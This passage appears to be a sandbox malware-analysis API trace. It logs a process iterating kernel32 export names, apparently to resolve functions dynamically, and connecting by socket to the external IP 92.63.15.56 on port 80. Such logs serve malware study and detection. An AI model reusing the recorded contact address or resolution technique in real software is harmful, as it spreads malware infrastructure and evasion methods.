lpString2="CloseThreadpoolWork" | out: lpString1="CloseThreadpoolWork") returned="CloseThreadpoolWork" [0117.627] lstrlenA (lpString="CLOSETHREADPOOLWORK") returned 19 [0117.627] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CmdBatNotification" | out: lpString1="CmdBatNotification") returned="CmdBatNotification" [0117.627] lstrlenA (lpString="CMDBATNOTIFICATION") returned 18 [0117.627] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CommConfigDialogA" | out: lpString1="CommConfigDialogA") returned="CommConfigDialogA" [0117.627] lstrlenA (lpString="COMMCONFIGDIALOGA") returned 17 [0117.627] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CommConfigDialogW" | out: lpString1="CommConfigDialogW") returned="CommConfigDialogW" [0117.627] lstrlenA (lpString="COMMCONFIGDIALOGW") returned 17 [0117.627] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CompareCalendarDates" | out: lpString1="CompareCalendarDates") returned="CompareCalendarDates" [0117.627] lstrlenA (lpString="COMPARECALENDARDATES") returned 20 [0117.628] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CompareFileTime" | out: lpString1="CompareFileTime") returned="CompareFileTime" [0117.628] lstrlenA (lpString="COMPAREFILETIME") returned 15 [0117.628] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CompareStringA" | out: lpString1="CompareStringA") returned="CompareStringA" [0117.628] lstrlenA (lpString="COMPARESTRINGA") returned 14 [0117.628] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CompareStringEx" | out: lpString1="CompareStringEx") returned="CompareStringEx" [0117.628] lstrlenA (lpString="COMPARESTRINGEX") returned 15 [0117.628] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CompareStringOrdinal" | out: lpString1="CompareStringOrdinal") returned="CompareStringOrdinal" [0117.628] lstrlenA (lpString="COMPARESTRINGORDINAL") returned 20 [0117.628] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CompareStringW" | out: lpString1="CompareStringW") returned="CompareStringW" [0117.628] lstrlenA (lpString="COMPARESTRINGW") returned 14 [0117.628] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="ConnectNamedPipe" | out: lpString1="ConnectNamedPipe") returned="ConnectNamedPipe" [0117.628] lstrlenA (lpString="CONNECTNAMEDPIPE") returned 16 [0117.628] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="ConsoleMenuControl" | out: lpString1="ConsoleMenuControl") returned="ConsoleMenuControl" [0117.628] lstrlenA (lpString="CONSOLEMENUCONTROL") returned 18 [0117.628] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="ContinueDebugEvent" | out: lpString1="ContinueDebugEvent") returned="ContinueDebugEvent" [0117.628] lstrlenA (lpString="CONTINUEDEBUGEVENT") returned 18 [0117.628] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="ConvertCalDateTimeToSystemTime" | out: lpString1="ConvertCalDateTimeToSystemTime") returned="ConvertCalDateTimeToSystemTime" [0117.628] lstrlenA (lpString="CONVERTCALDATETIMETOSYSTEMTIME") returned 30 [0117.628] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="ConvertDefaultLocale" | out: lpString1="ConvertDefaultLocale") returned="ConvertDefaultLocale" [0117.628] lstrlenA (lpString="CONVERTDEFAULTLOCALE") returned 20 [0117.628] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="ConvertFiberToThread" | out: lpString1="ConvertFiberToThread") returned="ConvertFiberToThread" [0117.628] lstrlenA (lpString="CONVERTFIBERTOTHREAD") returned 20 [0117.628] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="ConvertNLSDayOfWeekToWin32DayOfWeek" | out: lpString1="ConvertNLSDayOfWeekToWin32DayOfWeek") returned="ConvertNLSDayOfWeekToWin32DayOfWeek" [0117.628] lstrlenA (lpString="CONVERTNLSDAYOFWEEKTOWIN32DAYOFWEEK") returned 35 [0117.628] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="ConvertSystemTimeToCalDateTime" | out: lpString1="ConvertSystemTimeToCalDateTime") returned="ConvertSystemTimeToCalDateTime" [0117.628] lstrlenA (lpString="CONVERTSYSTEMTIMETOCALDATETIME") returned 30 [0117.628] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="ConvertThreadToFiber" | out: lpString1="ConvertThreadToFiber") returned="ConvertThreadToFiber" [0117.628] lstrlenA (lpString="CONVERTTHREADTOFIBER") returned 20 [0117.628] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="ConvertThreadToFiberEx" | out: lpString1="ConvertThreadToFiberEx") returned="ConvertThreadToFiberEx" [0117.628] lstrlenA (lpString="CONVERTTHREADTOFIBEREX") returned 22 [0117.628] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CopyContext" | out: lpString1="CopyContext") returned="CopyContext" [0117.628] lstrlenA (lpString="COPYCONTEXT") returned 11 [0117.629] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CopyFile2" | out: lpString1="CopyFile2") returned="CopyFile2" [0117.629] lstrlenA (lpString="COPYFILE2") returned 9 [0117.629] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CopyFileA" | out: lpString1="CopyFileA") returned="CopyFileA" [0117.629] lstrlenA (lpString="COPYFILEA") returned 9 [0117.629] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CopyFileExA" | out: lpString1="CopyFileExA") returned="CopyFileExA" [0117.629] lstrlenA (lpString="COPYFILEEXA") returned 11 [0117.629] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CopyFileExW" | out: lpString1="CopyFileExW") returned="CopyFileExW" [0117.629] lstrlenA (lpString="COPYFILEEXW") returned 11 [0117.629] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CopyFileTransactedA" | out: lpString1="CopyFileTransactedA") returned="CopyFileTransactedA" [0117.629] lstrlenA (lpString="COPYFILETRANSACTEDA") returned 19 [0117.629] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CopyFileTransactedW" | out: lpString1="CopyFileTransactedW") returned="CopyFileTransactedW" [0117.629] lstrlenA (lpString="COPYFILETRANSACTEDW") returned 19 [0117.629] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CopyFileW" | out: lpString1="CopyFileW") returned="CopyFileW" [0117.629] lstrlenA (lpString="COPYFILEW") returned 9 [0117.629] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CopyLZFile" | out: lpString1="CopyLZFile") returned="CopyLZFile" [0117.629] lstrlenA (lpString="COPYLZFILE") returned 10 [0117.629] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CreateActCtxA" | out: lpString1="CreateActCtxA") returned="CreateActCtxA" [0117.629] lstrlenA (lpString="CREATEACTCTXA") returned 13 [0117.629] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CreateActCtxW" | out: lpString1="CreateActCtxW") returned="CreateActCtxW" [0117.629] lstrlenA (lpString="CREATEACTCTXW") returned 13 [0117.629] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CreateActCtxWWorker" | out: lpString1="CreateActCtxWWorker") returned="CreateActCtxWWorker" [0117.629] lstrlenA (lpString="CREATEACTCTXWWORKER") returned 19 [0117.629] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CreateBoundaryDescriptorA" | out: lpString1="CreateBoundaryDescriptorA") returned="CreateBoundaryDescriptorA" [0117.629] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORA") returned 25 [0117.629] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CreateBoundaryDescriptorW" | out: lpString1="CreateBoundaryDescriptorW") returned="CreateBoundaryDescriptorW" [0117.629] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORW") returned 25 [0117.629] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CreateConsoleScreenBuffer" | out: lpString1="CreateConsoleScreenBuffer") returned="CreateConsoleScreenBuffer" [0117.629] lstrlenA (lpString="CREATECONSOLESCREENBUFFER") returned 25 [0117.629] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CreateDirectoryA" | out: lpString1="CreateDirectoryA") returned="CreateDirectoryA" [0117.629] lstrlenA (lpString="CREATEDIRECTORYA") returned 16 [0117.629] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CreateDirectoryExA" | out: lpString1="CreateDirectoryExA") returned="CreateDirectoryExA" [0117.629] lstrlenA (lpString="CREATEDIRECTORYEXA") returned 18 [0117.629] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CreateDirectoryExW" | out: lpString1="CreateDirectoryExW") returned="CreateDirectoryExW" [0117.629] lstrlenA (lpString="CREATEDIRECTORYEXW") returned 18 [0117.629] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CreateDirectoryTransactedA" | out: lpString1="CreateDirectoryTransactedA") returned="CreateDirectoryTransactedA" [0117.629] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDA") returned 26 [0117.630] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CreateDirectoryTransactedW" | out: lpString1="CreateDirectoryTransactedW") returned="CreateDirectoryTransactedW" [0117.630] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDW") returned 26 [0117.630] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CreateDirectoryW" | out: lpString1="CreateDirectoryW") returned="CreateDirectoryW" [0117.630] lstrlenA (lpString="CREATEDIRECTORYW") returned 16 [0117.630] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CreateEnclave" | out: lpString1="CreateEnclave") returned="CreateEnclave" [0117.630] lstrlenA (lpString="CREATEENCLAVE") returned 13 [0117.630] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CreateEventA" | out: lpString1="CreateEventA") returned="CreateEventA" [0117.630] lstrlenA (lpString="CREATEEVENTA") returned 12 [0117.630] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CreateEventExA" | out: lpString1="CreateEventExA") returned="CreateEventExA" [0117.630] lstrlenA (lpString="CREATEEVENTEXA") returned 14 [0117.630] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CreateEventExW" | out: lpString1="CreateEventExW") returned="CreateEventExW" [0117.630] lstrlenA (lpString="CREATEEVENTEXW") returned 14 [0117.630] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CreateEventW" | out: lpString1="CreateEventW") returned="CreateEventW" [0117.630] lstrlenA (lpString="CREATEEVENTW") returned 12 [0117.630] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CreateFiber" | out: lpString1="CreateFiber") returned="CreateFiber" [0117.630] lstrlenA (lpString="CREATEFIBER") returned 11 [0117.630] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CreateFiberEx" | out: lpString1="CreateFiberEx") returned="CreateFiberEx" [0117.630] lstrlenA (lpString="CREATEFIBEREX") returned 13 [0117.630] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CreateFile2" | out: lpString1="CreateFile2") returned="CreateFile2" [0117.630] lstrlenA (lpString="CREATEFILE2") returned 11 [0117.630] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CreateFileA" | out: lpString1="CreateFileA") returned="CreateFileA" [0117.630] lstrlenA (lpString="CREATEFILEA") returned 11 [0117.630] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CreateFileMappingA" | out: lpString1="CreateFileMappingA") returned="CreateFileMappingA" [0117.630] lstrlenA (lpString="CREATEFILEMAPPINGA") returned 18 [0117.630] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CreateFileMappingFromApp" | out: lpString1="CreateFileMappingFromApp") returned="CreateFileMappingFromApp" [0117.630] lstrlenA (lpString="CREATEFILEMAPPINGFROMAPP") returned 24 [0117.630] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CreateFileMappingNumaA" | out: lpString1="CreateFileMappingNumaA") returned="CreateFileMappingNumaA" [0117.630] lstrlenA (lpString="CREATEFILEMAPPINGNUMAA") returned 22 [0117.630] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CreateFileMappingNumaW" | out: lpString1="CreateFileMappingNumaW") returned="CreateFileMappingNumaW" [0117.630] lstrlenA (lpString="CREATEFILEMAPPINGNUMAW") returned 22 [0117.630] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CreateFileMappingW" | out: lpString1="CreateFileMappingW") returned="CreateFileMappingW" [0117.630] lstrlenA (lpString="CREATEFILEMAPPINGW") returned 18 [0117.630] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CreateFileTransactedA" | out: lpString1="CreateFileTransactedA") returned="CreateFileTransactedA" [0117.630] lstrlenA (lpString="CREATEFILETRANSACTEDA") returned 21 [0117.630] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CreateFileTransactedW" | out: lpString1="CreateFileTransactedW") returned="CreateFileTransactedW" [0117.630] lstrlenA (lpString="CREATEFILETRANSACTEDW") returned 21 [0117.631] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CreateFileW" | out: lpString1="CreateFileW") returned="CreateFileW" [0117.631] lstrlenA (lpString="CREATEFILEW") returned 11 [0117.631] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CreateHardLinkA" | out: lpString1="CreateHardLinkA") returned="CreateHardLinkA" [0117.631] lstrlenA (lpString="CREATEHARDLINKA") returned 15 [0117.631] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CreateHardLinkTransactedA" | out: lpString1="CreateHardLinkTransactedA") returned="CreateHardLinkTransactedA" [0117.631] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDA") returned 25 [0117.631] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CreateHardLinkTransactedW" | out: lpString1="CreateHardLinkTransactedW") returned="CreateHardLinkTransactedW" [0117.631] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDW") returned 25 [0117.631] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CreateHardLinkW" | out: lpString1="CreateHardLinkW") returned="CreateHardLinkW" [0117.631] lstrlenA (lpString="CREATEHARDLINKW") returned 15 [0117.631] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CreateIoCompletionPort" | out: lpString1="CreateIoCompletionPort") returned="CreateIoCompletionPort" [0117.631] lstrlenA (lpString="CREATEIOCOMPLETIONPORT") returned 22 [0117.631] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CreateJobObjectA" | out: lpString1="CreateJobObjectA") returned="CreateJobObjectA" [0117.631] lstrlenA (lpString="CREATEJOBOBJECTA") returned 16 [0117.631] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CreateJobObjectW" | out: lpString1="CreateJobObjectW") returned="CreateJobObjectW" [0117.631] lstrlenA (lpString="CREATEJOBOBJECTW") returned 16 [0117.631] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CreateJobSet" | out: lpString1="CreateJobSet") returned="CreateJobSet" [0117.631] lstrlenA (lpString="CREATEJOBSET") returned 12 [0117.631] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CreateMailslotA" | out: lpString1="CreateMailslotA") returned="CreateMailslotA" [0117.631] lstrlenA (lpString="CREATEMAILSLOTA") returned 15 [0117.631] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CreateMailslotW" | out: lpString1="CreateMailslotW") returned="CreateMailslotW" [0117.631] lstrlenA (lpString="CREATEMAILSLOTW") returned 15 [0117.631] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CreateMemoryResourceNotification" | out: lpString1="CreateMemoryResourceNotification") returned="CreateMemoryResourceNotification" [0117.631] lstrlenA (lpString="CREATEMEMORYRESOURCENOTIFICATION") returned 32 [0117.631] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CreateMutexA" | out: lpString1="CreateMutexA") returned="CreateMutexA" [0117.631] lstrlenA (lpString="CREATEMUTEXA") returned 12 [0117.631] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CreateMutexExA" | out: lpString1="CreateMutexExA") returned="CreateMutexExA" [0117.631] lstrlenA (lpString="CREATEMUTEXEXA") returned 14 [0117.631] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CreateMutexExW" | out: lpString1="CreateMutexExW") returned="CreateMutexExW" [0117.631] lstrlenA (lpString="CREATEMUTEXEXW") returned 14 [0117.631] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CreateMutexW" | out: lpString1="CreateMutexW") returned="CreateMutexW" [0117.631] lstrlenA (lpString="CREATEMUTEXW") returned 12 [0117.631] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CreateNamedPipeA" | out: lpString1="CreateNamedPipeA") returned="CreateNamedPipeA" [0117.631] lstrlenA (lpString="CREATENAMEDPIPEA") returned 16 [0117.631] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CreateNamedPipeW" | out: lpString1="CreateNamedPipeW") returned="CreateNamedPipeW" [0117.631] lstrlenA (lpString="CREATENAMEDPIPEW") returned 16 [0117.632] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CreatePipe" | out: lpString1="CreatePipe") returned="CreatePipe" [0117.632] lstrlenA (lpString="CREATEPIPE") returned 10 [0117.632] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CreatePrivateNamespaceA" | out: lpString1="CreatePrivateNamespaceA") returned="CreatePrivateNamespaceA" [0117.632] lstrlenA (lpString="CREATEPRIVATENAMESPACEA") returned 23 [0117.632] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CreatePrivateNamespaceW" | out: lpString1="CreatePrivateNamespaceW") returned="CreatePrivateNamespaceW" [0117.632] lstrlenA (lpString="CREATEPRIVATENAMESPACEW") returned 23 [0117.632] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CreateProcessA" | out: lpString1="CreateProcessA") returned="CreateProcessA" [0117.632] lstrlenA (lpString="CREATEPROCESSA") returned 14 [0117.632] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CreateProcessAsUserA" | out: lpString1="CreateProcessAsUserA") returned="CreateProcessAsUserA" [0117.632] lstrlenA (lpString="CREATEPROCESSASUSERA") returned 20 [0117.632] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CreateProcessAsUserW" | out: lpString1="CreateProcessAsUserW") returned="CreateProcessAsUserW" [0117.632] lstrlenA (lpString="CREATEPROCESSASUSERW") returned 20 [0117.632] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CreateProcessInternalA" | out: lpString1="CreateProcessInternalA") returned="CreateProcessInternalA" [0117.632] lstrlenA (lpString="CREATEPROCESSINTERNALA") returned 22 [0117.632] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CreateProcessInternalW" | out: lpString1="CreateProcessInternalW") returned="CreateProcessInternalW" [0117.632] lstrlenA (lpString="CREATEPROCESSINTERNALW") returned 22 [0117.632] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CreateProcessW" | out: lpString1="CreateProcessW") returned="CreateProcessW" [0117.632] lstrlenA (lpString="CREATEPROCESSW") returned 14 [0117.632] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CreateRemoteThread" | out: lpString1="CreateRemoteThread") returned="CreateRemoteThread" [0117.632] lstrlenA (lpString="CREATEREMOTETHREAD") returned 18 [0117.632] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CreateRemoteThreadEx" | out: lpString1="CreateRemoteThreadEx") returned="CreateRemoteThreadEx" [0117.632] lstrlenA (lpString="CREATEREMOTETHREADEX") returned 20 [0117.632] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CreateSemaphoreA" | out: lpString1="CreateSemaphoreA") returned="CreateSemaphoreA" [0117.632] lstrlenA (lpString="CREATESEMAPHOREA") returned 16 [0117.632] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CreateSemaphoreExA" | out: lpString1="CreateSemaphoreExA") returned="CreateSemaphoreExA" [0117.632] lstrlenA (lpString="CREATESEMAPHOREEXA") returned 18 [0117.632] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CreateSemaphoreExW" | out: lpString1="CreateSemaphoreExW") returned="CreateSemaphoreExW" [0117.632] lstrlenA (lpString="CREATESEMAPHOREEXW") returned 18 [0117.632] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CreateSemaphoreW" | out: lpString1="CreateSemaphoreW") returned="CreateSemaphoreW" [0117.632] lstrlenA (lpString="CREATESEMAPHOREW") returned 16 [0117.632] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CreateSocketHandle" | out: lpString1="CreateSocketHandle") returned="CreateSocketHandle" [0117.632] lstrlenA (lpString="CREATESOCKETHANDLE") returned 18 [0117.632] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CreateSymbolicLinkA" | out: lpString1="CreateSymbolicLinkA") returned="CreateSymbolicLinkA" [0117.632] lstrlenA (lpString="CREATESYMBOLICLINKA") returned 19 [0117.632] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CreateSymbolicLinkTransactedA" | out: lpString1="CreateSymbolicLinkTransactedA") returned="CreateSymbolicLinkTransactedA" [0117.632] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDA") returned 29 [0117.633] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CreateSymbolicLinkTransactedW" | out: lpString1="CreateSymbolicLinkTransactedW") returned="CreateSymbolicLinkTransactedW" [0117.633] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDW") returned 29 [0117.633] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CreateSymbolicLinkW" | out: lpString1="CreateSymbolicLinkW") returned="CreateSymbolicLinkW" [0117.633] lstrlenA (lpString="CREATESYMBOLICLINKW") returned 19 [0117.633] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CreateTapePartition" | out: lpString1="CreateTapePartition") returned="CreateTapePartition" [0117.633] lstrlenA (lpString="CREATETAPEPARTITION") returned 19 [0117.633] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CreateThread" | out: lpString1="CreateThread") returned="CreateThread" [0117.633] lstrlenA (lpString="CREATETHREAD") returned 12 [0117.633] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CreateThreadpool" | out: lpString1="CreateThreadpool") returned="CreateThreadpool" [0117.633] lstrlenA (lpString="CREATETHREADPOOL") returned 16 [0117.633] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CreateThreadpoolCleanupGroup" | out: lpString1="CreateThreadpoolCleanupGroup") returned="CreateThreadpoolCleanupGroup" [0117.633] lstrlenA (lpString="CREATETHREADPOOLCLEANUPGROUP") returned 28 [0117.633] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CreateThreadpoolIo" | out: lpString1="CreateThreadpoolIo") returned="CreateThreadpoolIo" [0117.633] lstrlenA (lpString="CREATETHREADPOOLIO") returned 18 [0117.633] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CreateThreadpoolTimer" | out: lpString1="CreateThreadpoolTimer") returned="CreateThreadpoolTimer" [0117.633] lstrlenA (lpString="CREATETHREADPOOLTIMER") returned 21 [0117.633] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CreateThreadpoolWait" | out: lpString1="CreateThreadpoolWait") returned="CreateThreadpoolWait" [0117.633] lstrlenA (lpString="CREATETHREADPOOLWAIT") returned 20 [0117.633] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CreateThreadpoolWork" | out: lpString1="CreateThreadpoolWork") returned="CreateThreadpoolWork" [0117.633] lstrlenA (lpString="CREATETHREADPOOLWORK") returned 20 [0117.633] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CreateTimerQueue" | out: lpString1="CreateTimerQueue") returned="CreateTimerQueue" [0117.633] lstrlenA (lpString="CREATETIMERQUEUE") returned 16 [0117.633] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CreateTimerQueueTimer" | out: lpString1="CreateTimerQueueTimer") returned="CreateTimerQueueTimer" [0117.633] inet_pton (in: Family=2, pszAddrString="92.63.15.56", pAddrBuf=0x2e7f828 | out: pAddrBuf=0x2e7f828) returned 1 [0117.633] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x2e7fc74 | out: lpWSAData=0x2e7fc74) returned 0 [0117.634] socket (af=2, type=1, protocol=6) returned 0x544 [0117.634] inet_addr (cp="92.63.15.56") returned 0x380f3f5c [0117.634] htons (hostshort=0x50) returned 0x5000 [0117.634] connect (s=0x544, name=0x2e7f804*(sa_family=2, sin_port=0x50, sin_addr="92.63.15.56"), namelen=16) returned 0 [0117.709] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0117.709] lstrlenA (lpString="ACQUIRESRWLOCKEXCLUSIVE") returned 23 [0117.709] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AcquireSRWLockShared" | out: lpString1="AcquireSRWLockShared") returned="AcquireSRWLockShared" [0117.709] lstrlenA (lpString="ACQUIRESRWLOCKSHARED") returned 20 [0117.709] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="ActivateActCtx" | out: lpString1="ActivateActCtx") returned="ActivateActCtx" [0117.709] lstrlenA (lpString="ACTIVATEACTCTX") returned 14 [0117.709] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="ActivateActCtxWorker" | out: lpString1="ActivateActCtxWorker") returned="ActivateActCtxWorker" [0117.709] lstrlenA (lpString="ACTIVATEACTCTXWORKER") returned 20 [0117.709] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AddAtomA" | out: lpString1="AddAtomA") returned="AddAtomA" [0117.709] lstrlenA (lpString="ADDATOMA") returned 8 [0117.709] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AddAtomW" | out: lpString1="AddAtomW") returned="AddAtomW" [0117.709] lstrlenA (lpString="ADDATOMW") returned 8 [0117.709] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AddConsoleAliasA" | out: lpString1="AddConsoleAliasA") returned="AddConsoleAliasA" [0117.709] lstrlenA (lpString="ADDCONSOLEALIASA") returned 16 [0117.709] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AddConsoleAliasW" | out: lpString1="AddConsoleAliasW") returned="AddConsoleAliasW" [0117.709] lstrlenA (lpString="ADDCONSOLEALIASW") returned 16 [0117.709] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AddDllDirectory" | out: lpString1="AddDllDirectory") returned="AddDllDirectory" [0117.709] lstrlenA (lpString="ADDDLLDIRECTORY") returned 15 [0117.709] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AddIntegrityLabelToBoundaryDescriptor" | out: lpString1="AddIntegrityLabelToBoundaryDescriptor") returned="AddIntegrityLabelToBoundaryDescriptor" [0117.709] lstrlenA (lpString="ADDINTEGRITYLABELTOBOUNDARYDESCRIPTOR") returned 37 [0117.709] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AddLocalAlternateComputerNameA" | out: lpString1="AddLocalAlternateComputerNameA") returned="AddLocalAlternateComputerNameA" [0117.709] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEA") returned 30 [0117.709] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AddLocalAlternateComputerNameW" | out: lpString1="AddLocalAlternateComputerNameW") returned="AddLocalAlternateComputerNameW" [0117.709] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEW") returned 30 [0117.709] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AddRefActCtx" | out: lpString1="AddRefActCtx") returned="AddRefActCtx" [0117.709] lstrlenA (lpString="ADDREFACTCTX") returned 12 [0117.709] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AddRefActCtxWorker" | out: lpString1="AddRefActCtxWorker") returned="AddRefActCtxWorker" [0117.709] lstrlenA (lpString="ADDREFACTCTXWORKER") returned 18 [0117.709] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AddResourceAttributeAce" | out: lpString1="AddResourceAttributeAce") returned="AddResourceAttributeAce" [0117.709] lstrlenA (lpString="ADDRESOURCEATTRIBUTEACE") returned 23 [0117.709] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AddSIDToBoundaryDescriptor" | out: lpString1="AddSIDToBoundaryDescriptor") returned="AddSIDToBoundaryDescriptor" [0117.709] lstrlenA (lpString="ADDSIDTOBOUNDARYDESCRIPTOR") returned 26 [0117.709] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AddScopedPolicyIDAce" | out: lpString1="AddScopedPolicyIDAce") returned="AddScopedPolicyIDAce" [0117.709] lstrlenA (lpString="ADDSCOPEDPOLICYIDACE") returned 20 [0117.709] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AddSecureMemoryCacheCallback" | out: lpString1="AddSecureMemoryCacheCallback") returned="AddSecureMemoryCacheCallback" [0117.709] lstrlenA (lpString="ADDSECUREMEMORYCACHECALLBACK") returned 28 [0117.710] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AddVectoredContinueHandler" | out: lpString1="AddVectoredContinueHandler") returned="AddVectoredContinueHandler" [0117.710] lstrlenA (lpString="ADDVECTOREDCONTINUEHANDLER") returned 26 [0117.710] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AddVectoredExceptionHandler" | out: lpString1="AddVectoredExceptionHandler") returned="AddVectoredExceptionHandler" [0117.710] lstrlenA (lpString="ADDVECTOREDEXCEPTIONHANDLER") returned 27 [0117.710] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AdjustCalendarDate" | out: lpString1="AdjustCalendarDate") returned="AdjustCalendarDate" [0117.710] lstrlenA (lpString="ADJUSTCALENDARDATE") returned 18 [0117.710] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AllocConsole" | out: lpString1="AllocConsole") returned="AllocConsole" [0117.710] lstrlenA (lpString="ALLOCCONSOLE") returned 12 [0117.710] lstrcpyA (in: lpString1=0x2e7eb64, 